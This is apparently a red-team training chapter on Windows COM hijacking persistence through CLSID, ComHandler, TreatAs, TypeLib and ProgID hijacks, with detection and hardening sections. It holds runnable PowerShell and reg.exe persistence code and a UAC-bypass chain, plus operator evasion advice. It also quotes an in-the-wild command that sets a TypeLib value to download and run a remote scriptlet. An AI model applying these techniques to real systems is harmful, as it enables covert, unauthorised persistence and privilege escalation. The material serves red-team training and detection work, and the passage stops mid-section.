71 KiB
05 · COM Persistence & Hijacking
Audience / level: Red team operators and detection engineers; no COM internals assumed at the start, ramping to in-the-wild tradecraft and original research methodology. Prerequisites: basic Windows registry literacy (hives,
reg.exe, Regedit), PowerShell basics, and the activation fundamentals from the earlier chapters (helpful but not required — section 1 rebuilds them). Estimated reading time: 90–120 minutes. After this chapter you will be able to explain exactly how COM activation resolves through the registry, plant per-user persistence that no default Autoruns view shows, reproduce every documented hijack family (CLSID, ComHandler, TreatAs, TypeLib, phantom objects) in a lab, build a pass-through proxy DLL that keeps the host stable, and hunt for new hijackable classes on your own.
Contents
- 1. From zero: how COM activation resolves through the registry
- 2. Persistence vectors
- 3. Tooling
- 4. Detection and hunting
- 5. Mitigations and hardening
- Research Lab: Discovering New COM Persistence
- References
1. From zero: how COM activation resolves through the registry
The Component Object Model (COM) is Windows' binary interface standard: a client asks for an object by a class identifier and receives interface pointers it can call methods on. The operating system — not the client — decides which binary backs that class, and it decides by reading the registry. Whoever controls the registry entry controls the code that runs. That single fact is the entire foundation of COM persistence.
Beginner note: A CLSID (class identifier) is a 128-bit GUID, conventionally written
{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}, that names a COM class. A COM server is the binary that implements the class — either a DLL loaded into the caller's process (InprocServer32) or an EXE launched as a separate process (LocalServer32). The client activates the class withCoCreateInstance(CLSID, ...), and the COM runtime (ole32.dll/combase.dll) looks the CLSID up in the registry to find the server path. The client never needs to know where the binary lives — which is exactly why swapping the path is invisible to it.
HKEY_CLASSES_ROOT is not a real hive. It is a merged view, constructed at query time, of two underlying locations ([2]):
HKLM\SOFTWARE\Classes— machine-wide registrations, writable only by administrators.HKCU\SOFTWARE\Classes— per-user registrations, writable by the owning (unprivileged) user.
When the same subkey or value exists in both, the per-user (HKCU) entry wins. Microsoft's own documentation of the merged view states this precedence explicitly ([2]). Physically, the per-user data lives in the user's hive files (NTUSER.DAT and UsrClass.dat, surfaced to tools as HKU\<SID>\Software\Classes and HKU\<SID>_Classes) and is re-read at every logon ([4], [5]).
Key idea: Because HKCU shadows HKLM at merge time, any COM class registered machine-wide can be redirected per-user with zero privileges. No admin rights, no service, no driver, no autostart entry — just a handful of values under
HKCU\Software\Classes. This is the root primitive behind every technique in this chapter.
How to read this figure: HKCR\CLSID\{...} is a funnel over HKCU\Software\Classes (top) and HKLM\SOFTWARE\Classes (bottom). Where both define the same key, the HKCU copy — shown in red — eclipses the HKLM original for that user only, and the merge happens at query time with no admin check.
The resolution path. For an in-process activation of CoCreateInstance(CLSID, ...), the COM runtime consults, in order ([4]):
HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32(or theLocalServer32,InprocHandler32, orTreatAssubkeys) — checked first;HKCR\CLSID\{CLSID}\...— the merged view, effectively the HKLM registration if no HKCU shadow exists;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\— a legacy shell fallback.
32-bit processes on 64-bit Windows additionally use the WoW64 reflection path HKCU\Software\Classes\Wow6432Node\CLSID\... — critical when the target process is 32-bit (the classic example being 32-bit Microsoft Office) ([4], [23]).
Anatomy of an InprocServer32 key. The values that matter ([4]):
| Value | Type | Meaning |
|---|---|---|
(Default) |
REG_SZ / REG_EXPAND_SZ |
Full path to the server DLL |
ThreadingModel |
REG_SZ |
Apartment (STA), Free (MTA), Both, or Neutral — which COM apartment the object joins |
LoadWithoutCOM |
REG_SZ |
Shell-only: honored by shell32 SHCoCreateInstance to load the DLL by path without full COM checks (abused in the eventvwr crossover, §2.1) |
Beginner note: An apartment is COM's threading boundary. A single-threaded apartment (STA,
ThreadingModel=Apartment) serializes calls to the object on one thread; a multithreaded apartment (MTA,Free) allows concurrent calls.Bothmeans the object tolerates whichever apartment the client lives in. If the hijack registration declares a threading model the client does not expect, COM silently inserts proxy/stub marshaling between apartments — slow at best, a hung or crashed host at worst. Matching the original model is a stability requirement, not a nicety (§2.7).
InprocServer32 vs LocalServer32. The two server shapes behave very differently as persistence ([4]):
InprocServer32→ a DLL mapped into the caller's process viaLoadLibrary;ole32/combasethen calls the exportedDllGetClassObjectto obtain the class factory. This is the most common persistence shape: your code runs inside a legitimate, often Microsoft-signed host (explorer.exe, taskhostw.exe, a browser) and inherits its integrity and reputation.LocalServer32→ an EXE (or an arbitrary command line) launched as a new process by the DCOM Server Process Launcher (svchost.exe -k DcomLaunch) with the-Embeddingswitch. Because the value may include arguments, CrowdStrike demonstrated fileless persistence withcmd.exe/powershell.exeplus script arguments in aLocalServer32value ([16]). Detection anchor: a properly instantiated COM server spawns fromsvchost.exe; any other parent for an-Embeddingcommand line is suspicious ([4]).
Phantom, orphaned, and abandoned objects. Two degenerate registration states are persistence gold ([4], [13], [16], [25]):
- Orphaned registrations — the CLSID exists but the binary its
InprocServer32/LocalServer32points to does not (leftovers of uninstalled software). bohops' canonical example is VMware Workstation's leftovervmnetbridge.dllregistration at CLSID{3d09c1ca-2bcc-40b7-b9bb-3f3ec143a87b}([4]). If the expected directory is attacker-writable, dropping a payload at the expected path hijacks the object without touching the registry at all; if only the registry is writable (HKCU shadow), you do not even need the original path. - Undefined-but-referenced classes — programs call
CoCreateInstanceon CLSIDs that are not registered anywhere (ProcMon showsNAME NOT FOUND). Registering that CLSID yourself in HKCU creates a brand-new "phantom" object the program then loads. Advantages over classic hijacking: no legitimate value is overwritten, no functionality breaks, and there is nothing to diff (CrowdStrike ClickOnce research, 2025 ([16]); pentestlab/SpecterOps methodology ([15], [25])).
Why this persistence survives and stays quiet. Three properties make COM hijacking a tier-one userland persistence mechanism ([4], [5]):
- It lives entirely in the registry, inside the user's own hive files, re-read at every logon. There is no Run-key entry, no service, no scheduled-task modification for a defender to enumerate.
- The trigger is normal system activity: a legitimate, frequently Microsoft-signed process (explorer.exe, taskhostw.exe, svchost.exe, OUTLOOK.EXE, browsers) performs the
LoadLibraryof your DLL. Execution inherits the host's integrity level and reputation, and no new suspicious process appears. - Autoruns has a blind spot: Sysinternals Autoruns enumerates only specific COM categories and does not diff the full
HKCU\Software\Classes\CLSIDtree against HKLM, so a classic per-user CLSID shadow is invisible in default views. Even when a Run-key launcher is used (rundll32.exe -sta {CLSID}ormmc.exe -Embedding payload.msc), the visible autorun points at a signed Microsoft binary while the payload path hides in the Classes hive ([5]).
Warning: MITRE ATT&CK maps COM hijacking as T1546.015 under both Persistence and Privilege Escalation tactics ([1]). The privesc angle is real: when the triggering host auto-elevates (eventvwr.exe, §2.1), a per-user hijack converts Medium-integrity code execution into a High-integrity payload with no prompt.
Legal: Every technique in this chapter executes arbitrary code on a target host and several survive reboots. Use only on systems you own or are explicitly authorized to test, inside written scope. The same registry writes are high-signal detection opportunities — assume a competent blue team is watching.
2. Persistence vectors
Each vector below follows the same template: MITRE mapping, publication history, numbered mechanics, prerequisites, a lab-runnable proof of concept, the telemetry it leaves, and mitigations. All of them reduce to one primitive from section 1 — a per-user registration that wins the HKCR merge — differing only in which registry structure the client resolves (CLSID, task-handler class, TreatAs link, TypeLib, ProgID, or a dangling reference).
2.1 CLSID and InprocServer32 hijacking (per-user shadowing)
MITRE: T1546.015 · Since: first public discussion of per-user COM abuse by Jon Larimer, 2011 (per leoloobeek ([11])); earliest vendor documentation G-Data, Oct 2014 ([6]) · Affects: all Windows builds implementing the HKCR per-user merge (verify in lab for specific builds)
The canonical COM persistence technique: pick a CLSID that a desirable, frequently-running host process instantiates, and register the same CLSID under HKCU\Software\Classes\CLSID with an InprocServer32 pointing at your DLL. The HKCU shadow wins the merge, the host loads your code, and the machine-wide registration is never touched ([4], [5], [6]). The technique has been used in the wild by APT28/Sednit (Seduploader, JHUHUGIT) ([19], [37]), Turla's ComRAT ([38]), BBSRAT, PcShare, and a long tail of others ([1]).
How to read this figure: a client process (e.g. explorer.exe) calls CoCreateInstance, combase resolves the CLSID through the registry, and the HKCU InprocServer32 naming the attacker DLL (red path) is consulted before — and shadows — the legitimate HKLM registration (greyed path). LoadLibrary then maps the attacker DLL into the client and DllGetClassObject runs.
Mechanics
- Target selection. Identify a CLSID instantiated by an auto-start, Microsoft-signed host in the user's session — explorer.exe, taskhostw.exe, a browser, Outlook (see documented cases below and the Research Lab).
- Verify the baseline. Confirm the HKLM registration exists (so client code keeps working) and that no HKCU shadow already exists.
- Plant the shadow. Create
HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32with(Default)= path to the payload DLL andThreadingModelmatching the HKLM original. - Trigger. Wait for — or force — the host to activate the class. At the next logon (or immediately, via
rundll32.exe -sta {CLSID}or by launching the host), the runtime resolves the HKCU entry andLoadLibrarys your DLL inside the host. - Stay stable. The payload DLL should proxy the real server (§2.7) so the host receives the interface pointers it expects and nothing user-visible breaks.
Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Standard user (write access to own HKCU) |
| OS/build | Any Windows with the HKCR per-user merge; WoW6432Node path needed for 32-bit targets ([4], [23]) |
| Config | Target CLSID instantiated by a process in the user's session; payload DLL on disk readable by the host |
| Payload | DLL exporting DllGetClassObject/DllCanUnloadNow; pass-through recommended (§2.7) |
Proof of concept
# Per-user CLSID shadow of CAccPropServicesClass (mirrors Atomic Red Team T1546.015 Test #1 [29])
$clsid = '{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}'
$base = "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32"
New-Item -Path $base -Force | Out-Null
Set-ItemProperty -Path $base -Name '(Default)' -Value "$env:APPDATA\payload.dll"
Set-ItemProperty -Path $base -Name 'ThreadingModel' -Value 'Apartment'
# Immediate trigger (signed Microsoft invoker):
# rundll32.exe -sta $clsid
# Cleanup: Remove-Item "HKCU:\Software\Classes\CLSID\$clsid" -Recurse -Force
Documented hijackable CLSIDs and in-the-wild cases
-
{0A29FF9E-7F9C-4437-8B11-F424491E3931}— Event Viewer MMC snap-in class (persistence + UAC crossover). Loaded byeventvwr.exe(auto-elevated) and bymmc.exe eventvwr.msc; the HKCU shadow path is free. Because eventvwr auto-elevates, the payload loads at High integrity — a persistence-to-privesc chain; the tradeoff is that it is user-triggered (someone must open Event Viewer) ([28], [22]). Documented by hfiref0x/UACME and Metasploit'sexploit/windows/local/bypassuac_comhijack; 3gstudent lists it among HKCU CLSID hijacks of elevated programs alongside{B29D466A-857D-35BA-8712-A758861BFEA1},{D5AB5662-131D-453D-88C8-9BBA87502ADE}, and{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}([22], [28]). Related but distinct: enigma0x3's "fileless" eventvwr UAC bypass pivots onHKCU\Software\Classes\mscfile\shell\open\command— a file association, not a CLSID — implemented inInvoke-EventVwrBypass.ps1([9]).reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "" /t REG_SZ /d "C:\path\payload.dll" /f reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "LoadWithoutCOM" /t REG_SZ /d "" /f reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder" /v "HideOnDesktop" /t REG_SZ /d "" /f reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder" /v "Attributes" /t REG_DWORD /d 0xf090013d /f(
0xf090013dis the SFGAO attribute combination the shell requires to accept the object ([28]).) -
{BCDE0395-E52F-467C-8E3D-C4579291692E}— MMDeviceEnumerator (audio endpoint enumerator,mmdevapi.dll). Instantiated by explorer.exe at every logon and by virtually every audio-touching process (Firefox documented; media players, browsers, VOIP clients) — an extremely reliable trigger. In the wild: APT28/Sednit's Seduploader combinedHKCU\Environment\UserInitMprLogonScriptwith an MMDeviceEnumerator COM hijack; per Cisco Talos, the payload would execute "by rundll32.exe ... or by explorer.exe if the COM Object hijack is performed" ([19]); MITRE's APT28 page (G0007) cites the behavior ([37]), and FireEye/Mandiant documented JHUHUGIT hijacking MMDeviceEnumerator while also registering as a Shell Icon Overlay handler. A 2019 Chinese-research PoC staged the DLL as%APPDATA%\Microsoft\Installer\{BCDE0395-...}\test._dlwithThreadingModel=Apartment, triggered via iexplore.exe. Reference telemetry exists: sbousseaden's EVTX-ATTACK-SAMPLES shipspersist_firefox_comhijack_sysmon_11_13_7_1.evtx, a Sysmon capture of an MMDeviceEnumerator hijack via Firefox ([30]). -
{42AEDC87-2188-41FD-B9A3-0C966FEABEC1}— MruPidlList (shell32). Loaded by explorer.exe at every shell start and repeatedly throughout the session — the classic, most-abused persistence CLSID. In the wild: Turla's ComRAT replaces the path to shell32.dll in{42aedc87-...}\InprocServer32(MITRE S0126 ([38])); BBSRAT pairs MruPidlList on one architecture with{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}("Microsoft WBEM New Event Subsystem") on the other (Palo Alto); PcShare uses the HKCU shadow of{42aedc87-...}; SILENTTRINITY references it ([1]). G-Data's October 2014 write-up — MITRE's citation for the technique — described exactly this class ([6]). -
{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}— CAccPropServicesClass (MSAA "AccPropServices",oleacc.dll). Microsoft's Active Accessibility property server, instantiated by many UI processes (browsers, Office) — high trigger frequency. 32-bit confirmed; 64-bit caveats reported (verify in lab). Documented in bohops' research ([4]); Atomic Red Team T1546.015 Test #1 uses exactly this CLSID withrundll32.exe -sta {B5F8350B-...}as invoker ([29]). -
Browser/WebView2 targets (SpecterOps, May 2025).
msedgewebview2.exe,msedge.exe,explorer.exe, andchrome.exeall query HKCU for{54E211B6-3650-4F75-8334-FA359598E1C5}(InprocServer32 =%SystemRoot%\system32\directmanipulation.dll,ThreadingModel=Both) and{9FCBE510-A27C-4B3B-B9A5-BF65F00256A8}— hijacking yields execution inside browser processes when combined with export-forwarding stubs (FaceDancer / Koppeling) ([15]). -
Shell extension classes enumerated in NCC acCOMplice's
masterkeys.csv, e.g.{69486DD6-C19F-42E8-B508-A53F9F8E67B8},{9E175B6D-F52A-11D8-B9A5-505054503030},{9BA05972-F6A8-11CF-A442-00A0C90A8F39}([13]). -
Defender watchlist (startupdefense, via the research corpus):
{42aedc87-2188-41fd-b9a3-0c966feabec1},{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1},{E6D34FFC-AD32-4d6a-934C-D387FA873A19},{3543619C-D563-43f7-95EA-4DA7E1CC396A}.
OpSec & detection
- Sysmon: EID 12 (key create/delete) / 13 (value set) on
HKU\<SID>_Classes\CLSID\*andHKU\<SID>\Software\Classes\CLSID\*— especiallyInprocServer32writes pointing outside%SystemRoot%\System32andProgram Files([31], [33]). - Baseline diff: an HKCU CLSID shadowing an HKLM CLSID with a different server path is near-zero false positive (this is exactly Elastic's prebuilt rule logic ([34])).
- Invoker command lines:
rundll32.exe -sta {CLSID}(note the-staflag tolerates junk suffixes such as-stagggg),verclsid.exe /S /C {CLSID},xwizard.exe RunWizard /taero /u {CLSID},mmc.exe -Embedding <file.msc>with a non-svchost parent. - Noise reduction for operators: pass-through proxying (§2.7) prevents host crashes (WerFault, UI hangs) that would otherwise betray the hijack; stage the DLL under a plausible per-user path such as
%APPDATA%\Microsoft\...as the ITW actors did.
Mitigations
- Alert on HKCU
CLSIDwrites that shadow HKLM registrations (Sigma/Elastic rules in §4); baseline-export and diffHKCU\Software\Classes\CLSIDandUsrClass.datagainst a gold image. - Cross-check Sysmon EID 7 (image load) for explorer/svchost/taskhostw loading DLLs from outside System32.
- Treat per-user registry persistence as in-scope for EDR auto-remediation — deleting the shadow key restores the HKLM registration with no collateral damage.
2.2 Scheduled-task ComHandler persistence (hijack the task's COM class)
MITRE: T1546.015 · Since: enigma0x3, May 2016 ([7]) · Affects: Windows builds shipping user-context ComHandler tasks (e.g. the WinINet CacheTask; verify per build in lab)
Scheduled tasks whose action is a COM handler (<ComHandler><ClassId>{...}</ClassId> in the task XML) do not launch a binary — the Task Scheduler activates the specified CLSID inside the task host when the task fires. Hijacking is therefore not a task modification at all: shadow the handler CLSID in HKCU, and every time the stock, Microsoft-signed task fires, your DLL runs ([7], [10]). The task itself remains byte-identical, so task-enumeration-based persistence audits see nothing.
Mechanics
- Enumerate scheduled tasks with ComHandler actions that run in a user context with enabled triggers — enigma0x3's
Get-ScheduledTaskComHandler.ps1([8]) or the PowerShell loop below. - Pick a handler CLSID with a frequent trigger. The documented favorite:
{0358B920-0AC7-461F-98F4-58E32CD89148}— the WinINet CacheTask (C:\Windows\System32\Tasks\Microsoft\Windows\Wininet\CacheTask), whose legitimate InprocServer32 is%systemroot%\system32\wininet.dll,ThreadingModel=Both, trigger = logon of any user. Its HKLM key is TrustedInstaller-owned, but the HKCU shadow needs no such rights; MDSec's walkthrough (Dominic Chell, May 2019) executesc:\tools\demo.dllat logon this way ([10]). - Confirm the HKLM registration and its
ThreadingModel=Both; confirm no existing HKCU shadow. - Shadow
HKCU\Software\Classes\CLSID\{0358B920-...}\InprocServer32→ payload stub DLL;ThreadingModel=Both. - Drop a pass-through stub forwarding to
C:\Windows\System32\wininet.dll(§2.7) so the cache task still works. - At the next logon, Task Scheduler fires CacheTask → the task host resolves the CLSID → HKCU wins → the stub loads inside the task host, runs its payload thread, and proxies everything to wininet.dll. No autostart entries, no broken task ([10]).
The generic hunter (from the research corpus):
$Tasks = Get-ScheduledTask
foreach ($Task in $Tasks) {
if ($Task.Actions.ClassId -ne $null -and $Task.Triggers.Enabled -eq $true -and $Task.Principal.GroupId -eq "Users") {
Write-Host "$($Task.TaskName) :: $($Task.Actions.ClassId)"
}
}
Other documented handler CLSIDs:
| CLSID | Task / context | Source |
|---|---|---|
{0358B920-0AC7-461F-98F4-58E32CD89148} |
WinINet CacheTask; logon of any user; wininet.dll, ThreadingModel=Both |
MDSec ([10]) |
{A6BA00FE-40E8-477C-B713-C64A14F18ADB} |
WindowsUpdate\Automatic App Update task (ComHandler) |
enigma0x3 ([7]) |
{2DEA658F-54C1-4227-AF9B-260AB5FC3543} |
ITW (UNC2529): attacker registered their own payload CLSID and added a TreatAs under this legitimate task-loaded CLSID → payload every user logon |
FireEye/Mandiant ([20]) |
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} |
Training example (ZeroPoint RTO; COM-Hunter readme; snovvcrash). Friendly name unconfirmed — do not rely on it in production targets. | ([14]) |
Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Standard user (HKCU write) |
| OS/build | A user-context ComHandler task with an enabled logon/idle trigger must exist (CacheTask on stock Windows) |
| Config | Handler CLSID registered in HKLM; no pre-existing HKCU shadow |
| Payload | Pass-through stub matching the original ThreadingModel |
Proof of concept
# Shadow the CacheTask handler CLSID per-user (lab only)
$clsid = '{0358B920-0AC7-461F-98F4-58E32CD89148}'
$base = "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32"
New-Item -Path $base -Force | Out-Null
Set-ItemProperty -Path $base -Name '(Default)' -Value "$env:APPDATA\stub.dll" # forwards to wininet.dll
Set-ItemProperty -Path $base -Name 'ThreadingModel' -Value 'Both'
# Trigger: log off/on, or run the task: schtasks /run /tn "Microsoft\Windows\Wininet\CacheTask"
# Cleanup: Remove-Item "HKCU:\Software\Classes\CLSID\$clsid" -Recurse -Force
OpSec & detection
- Registry telemetry identical to §2.1 (Sysmon 12/13 on the shadow write); the trigger process is the signed task host, so process-based whitelisting alone will not catch execution.
- Defender angle: enumerate ComHandler tasks (script above), then diff each handler CLSID's HKCU vs HKLM registration — a mismatch is a finding.
- Operator angle:
schtasks /runcan force the trigger for testing; the stub must keep the task functional or repeated failures become user-visible.
Mitigations
- Alert on HKCU shadows of handler CLSIDs returned by ComHandler enumeration; baseline-diff the Classes hive (§4).
- Watch for task-host processes loading DLLs from per-user paths (Sysmon EID 7).
2.3 TreatAs redirection (CoTreatAsClass)
MITRE: T1546.015 · Since: documented by enigma0x3 + subTee ("Windows Operating System Archaeology", via bohops Part 2 ([5])) and Hexacorn "Beyond good ol' Run key, Part 84" (2018) ([21]) · Affects: all COM builds implementing TreatAs emulation ([3])
TreatAs is a documented COM feature: the key HKCR\CLSID\{A}\TreatAs (default value = {B}) declares that class {B} "can emulate" class {A}, so CoCreateInstance({A}) silently resolves to {B} ([3]). The APIs are CoGetTreatAsClass() and CoTreatAsClass(); related machinery includes the AutoTreatAs value and the Emulated subkey. Because TreatAs is a key rather than a modification of {A}'s server values, an attacker can add it in HKCU without ever touching {A}'s InprocServer32 — evading detections that only watch InprocServer32 writes ([5]).
Mechanics
- Register the attacker class
{B}per-user:HKCU\Software\Classes\CLSID\{B}\InprocServer32→ payload DLL (+ matchingThreadingModel, optional ProgID). - Link the legitimate class
{A}: createHKCU\Software\Classes\CLSID\{A}\TreatAswith default value{B}. - Any client instantiating
{A}is transparently handed{B}— your code.{A}'s own registration is never modified.
Documented example (enigma0x3 + subTee, via bohops Part 2 ([5]); Hexacorn Part 84 ([21])): {3734FF83-6764-44B7-A1B9-55F56183CDB0}\TreatAs = {00000001-0000-0000-0000-0000FEEDACDC} → a scrobj.dll ScriptletURL payload.
In the wild — Turla's Outlook backdoor (ESET, August 2018) ([18]):
HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs = {49CBB1C7-97D1-485A-9EC1-A26065633066}
where {49CBB1C7-...} ("Mail Plugin") has InprocServer32 = the backdoor DLL with ThreadingModel=Apartment. Result: the backdoor loads inside OUTLOOK.EXE at every launch. 3gstudent automated the chain in Invoke-OutlookPersistence.ps1, which handles the Wow6432Node reflection for 32-bit Office ([22], [23]). FireEye/Mandiant's UNC2529 used the same idea under a scheduled-task CLSID (§2.2) ([20]).
How to read this figure: on the left, CoCreateInstance({A}) hits an HKCU TreatAs = {B} link and resolves the attacker's class {B} — {A}'s InprocServer32 is never modified. On the right, an Automation client's LoadTypeLib resolves the TypeLib's win64 value to a script: moniker and executes a scriptlet via scrobj.dll. Both paths are HKCU-only writes outside the classic InprocServer32 detection focus.
Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Standard user |
| OS/build | Any COM build; Wow6432Node placement for 32-bit clients (e.g. 32-bit Office) ([23]) |
| Config | A high-value client that activates {A} frequently (Outlook, shell, task host) |
| Payload | Attacker class {B} registered per-user with correct ThreadingModel |
Proof of concept
# TreatAs link: clients activating {A} receive attacker class {B} (lab CLSIDs — illustrative)
$A = '{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}' # class the client requests (Turla ITW value)
$B = '{49CBB1C7-97D1-485A-9EC1-A26065633066}' # attacker "Mail Plugin" class
New-Item "HKCU:\Software\Classes\CLSID\$B\InprocServer32" -Force |
New-ItemProperty -Name '(Default)' -Value "$env:APPDATA\mailplugin.dll" | Out-Null
Set-ItemProperty "HKCU:\Software\Classes\CLSID\$B\InprocServer32" -Name 'ThreadingModel' -Value 'Apartment'
New-Item "HKCU:\Software\Classes\CLSID\$A\TreatAs" -Force |
New-ItemProperty -Name '(Default)' -Value $B | Out-Null
# Cleanup: remove both HKCU keys
OpSec & detection
TreatAswrites underHKU\<SID>*\Classes\CLSID\*by non-svchost/non-Office processes are high-signal; SigmaHQ ships dedicated TreatAs rules ([31], [32]).- The legitimate class's server path never changes, so naive InprocServer32 diffing misses this — defenders must diff keys, not just values.
- Operator note: prefer hijacking classes whose emulation by a third-party class is behaviorally plausible; Outlook plugin-style classes are the proven ITW choice ([18]).
Mitigations
- Sigma
registry_set_treatas_persistence/registry_set_persistence_com_key_linking(§4); alert on anyScriptletURLvalue creation. - Include
TreatAssubkeys in gold-image hive diffs.
2.4 TypeLib hijacking and the script: moniker (fileless, URL-rearming persistence)
MITRE: T1546.015 — updated in 2025 to add the TypeLib / script:-moniker variation, citing ReliaQuest ([1], [17]) · Since: in the wild March 2025, published April 2025 (ReliaQuest) ([17]) · Affects: any host whose Automation clients resolve type libraries through the HKCR merge (verify per build in lab)
This is the most important recent evolution of COM persistence and deserves treatment as a first-class technique, not a footnote. Classic hijacks redirect a CLSID's server; a TypeLib hijack redirects the type library that oleaut32 loads to marshal an Automation interface. Because the TypeLib registration lives under a different root (HKCR\TypeLib, not HKCR\CLSID), every detection rule keyed on CLSID\...\InprocServer32 writes is blind to it ([17], [24]).
Beginner note: A type library (TypeLib) is COM's interface-description database: it records, for a set of Automation (
IDispatch-compatible) interfaces, their methods, signatures, and the CLSIDs that implement them — identified by a LIBID GUID plus a version. When any Automation client (VBA, VBScript/JScriptGetObject/CreateObject, .NET RCWs, Explorer.exe, OLE embedding) binds such an interface,oleaut32!LoadTypeLib()resolvesHKCR\TypeLib\{LIBID}\<version>\0\win32|win64and loads whatever path the default value names — normally a.tlb,.dll, or.olb.
Mechanics
- Resolution path. Type libraries resolve from
HKCR\TypeLib\{LIBID}\<version>\0\win32|win64, default value = path. The same HKCR merge applies: shadowingwin32/win64inHKCU\Software\Classes\TypeLib\{LIBID}\...redirects the load — per-user, no admin ([24]). - The killer detail: the value accepts a moniker string. Setting it to
script:<path-or-URL>makes oleaut32 run a Windows Script Component (.sct) through scrobj.dll — including a remotescript:https://...scriptlet, i.e. a fileless payload re-downloaded at every trigger ([17], [24]). - Trigger. Any Automation client touching that LIBID loads the "type library" — which is actually your scriptlet. Explorer.exe references the ITW-targeted LIBID every time it runs ([17]).
- Discovery recipe (HackTricks). Read the LIBID from
HKCR\CLSID\{CLSID}\TypeLib, read the version fromHKCR\TypeLib\{LIBID}, then createHKCU:\Software\Classes\TypeLib\{LIBID}\{ver}\0\win32=script:C:\...\evil.sct— a JScript<scriptlet>that re-arms the main chain ([24]).
In the wild — ReliaQuest / Black Basta affiliate (2025)
ReliaQuest's "Hijacked and Hidden" report (incidents of March 2025, published April 2025; operators affiliated with Black Basta / Storm-1811) observed exactly this primitive ([17]):
reg add "HKEY_CURRENT_USER\Software\Classes\TypeLib\{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}\1.1\0\win64" /t REG_SZ /d "script:hxxps://drive.google[.]com/uc?export=download&id=1l5cMkpY9HIERae03tqqvEzCVASQKen63" /f
{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}is the SHDocVw library (Microsoft Web Browser control / IE), version1.1.- ReliaQuest observed Explorer.exe reference this object every time it runs, so the payload was auto-downloaded at every restart ([17]).
- MITRE updated T1546.015 in 2025 to add this TypeLib /
script:-moniker variation, citing ReliaQuest ([1]).
Why it is stealthier than a classic CLSID hijack:
- The write lands under
HKCU\...\TypeLib\..., notCLSID\...\InprocServer32— outside the target set of most published CLSID-hijack rules and of default Autoruns COM views ([17], [24]). - The payload can live entirely at a URL: nothing on disk to scan or diff, and the scriptlet is re-fetched at every trigger, so the implant self-rearms even after local cleanup of payload files.
- Execution rides inside a Microsoft-signed host (Explorer.exe) through a Microsoft-signed loader (scrobj.dll) — no new process, no unsigned image load in the default case.
Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Standard user |
| OS/build | oleaut32 Automation resolution via HKCR (universal); a high-frequency LIBID (SHDocVw proven ITW) |
| Config | Target LIBID/version registered; know the client's bitness to pick win32 vs win64 |
| Payload | Local .sct or remote script:https://... scriptlet served by infrastructure |
Proof of concept
# Local-scriptlet TypeLib shadow of SHDocVw (lab only)
$libid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
$base = "HKCU:\Software\Classes\TypeLib\$libid\1.1\0\win64"
New-Item -Path $base -Force | Out-Null
Set-ItemProperty -Path $base -Name '(Default)' -Value 'script:C:\ProgramData\update.sct'
# update.sct = a Windows Script Component (<scriptlet>) with your JScript payload
# Trigger: restart Explorer (or wait for the next logon); cleanup: remove the HKCU TypeLib key
OpSec & detection
- Any
TypeLib\...\0\win32|win64value containingscript:,http:, orhttps:is almost certainly malicious — treat as a near-zero-false-positive rule ([17]). - Watch scrobj.dll image loads into non-scripting processes (Explorer.exe, Office, browsers) — Sysmon EID 7.
- Hunt
reg.execommand lines containing bothTypeLibandscript([17]). - Operator tradecraft: remote
script:URLs re-arm after reboot and survive payload-file deletion, but introduce network indicators and infrastructure attribution risk; local.sctdrops one file but no beacons.
Mitigations
- Add
HKU\<SID>_Classes\TypeLib\*\0\win32|win64to registry-write monitoring and gold-image diffs (§4). - Block or alert on scrobj.dll loading outside scripting hosts; consider Attack Surface Reduction-style controls on script components for users who do not need them.
2.5 ProgID hijacking (name-based resolution shadowing)
MITRE: T1546.015 · Since: Casey Smith's squiblydoo research (per bohops Part 2 ([5])) · Affects: any client that instantiates classes by ProgID (verify per build in lab)
Beginner note: A ProgID (programmatic identifier) is a human-readable alias for a CLSID — e.g.
Scripting.Dictionary— stored asHKCR\<ProgID>\CLSID={CLSID}. Scripting clients (CreateObject("Scripting.Dictionary")in VBScript/JScript) resolve the name to the CLSID first, then activate normally.
ProgIDs are shadowable in exactly the same HKCU merge: create HKCU\Software\Classes\<ProgID>\CLSID = your own CLSID, and any client instantiating by name resolves your class ([5]).
Mechanics
- Pick a ProgID a scripting client resolves (the canonical demo targets
Scripting.Dictionary). - Plant
HKCU\Software\Classes\Scripting.Dictionary\CLSID={00000001-0000-0000-0000-0000FEEDACDC}. - Register that CLSID per-user with
InprocServer32=C:\WINDOWS\system32\scrobj.dllplus aScriptletURLvalue naming a local or remote.sct— the squiblydoo chain ([5]). - Next
CreateObject("Scripting.Dictionary")executes the scriptlet via the signed scrobj.dll.
Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Standard user |
| OS/build | Scripting clients that resolve the chosen ProgID exist on the host |
| Config | No pre-existing HKCU shadow of the ProgID |
| Payload | .sct scriptlet reachable by the host |
Proof of concept
# squiblydoo-style per-user ProgID shadow (lab only)
